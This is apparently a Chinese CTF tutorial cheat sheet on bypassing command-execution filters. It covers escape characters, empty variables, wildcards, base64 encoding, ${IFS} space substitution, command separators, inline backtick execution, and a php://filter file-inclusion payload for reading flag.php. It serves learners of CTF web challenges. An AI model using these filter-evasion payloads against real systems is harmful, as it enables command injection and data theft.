写在前面

关于命令执行的绕过方法,前人之述备矣。此篇文章只是根据本人刷题经验以及大佬们的博客做一总结。希望可以帮到广大爱好CTF的入门师傅们 ^_^

对于关键字过滤的绕过

转义符号绕过

用于对cat flag等关键字的过滤

1
ca\t fl\ag

img

空变量

1
2
3
ca$*t flag
ca$@t flag
ca${3}t flag

反引号

1
echo `nl flag`

通配符(正则)

1
cat ?la?

附上一张匹配表

字符 解释
* 匹配任意长度的字符
匹配单个字符
[list] 匹配list内的单个字符
[^list]或[!list] 匹配list之外的单个字符
{str1,str2…} 匹配指定字符串

拼接变量

1
a=fl;b=ag;cat $a$b

使用其他漏洞绕过

如文件包含漏洞(需要题目存在相关可利用漏洞)

1
c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

编码绕过

1
`echo 'Y2F0Cg==' | base64 -d` flag

对于关键函数过滤的绕过

命令执行函数

PHP代码执行函数举例

1
eval(); assert(); call_user_func(); uasort(); highlight_file(); print_r(); 

PHP命令执行函数举例

1
system(); exec(); shell_exec(); pcntl_exec(); popen(); passthru();

内敛执行绕过

1
2
3
4
echo `ls`;
echo $(ls);
?><?=`ls`;
?><?=$(ls);

使用编码绕过

base64、进制转换均可尝试

无回显

  • 判断是否执行成功,可使用sleep();
  • 用复制等方法绕过(注意权限)
    1
    2
    3
    copy flag 1.txt
    mv flag 1.txt
    cat flag > 1.txt

过滤特殊符号

空格

1
2
3
4
%09(url传递);
${IFS};
<>;
<;

目录分隔符

1
2
3
4
5
6
;  //分号
| //只执行后一指令
|| //只执行前一指令
&(&&) //执行两条指令
%0a //换行符
%0d //回车

括号

1
使用无需括号的函数(如echo)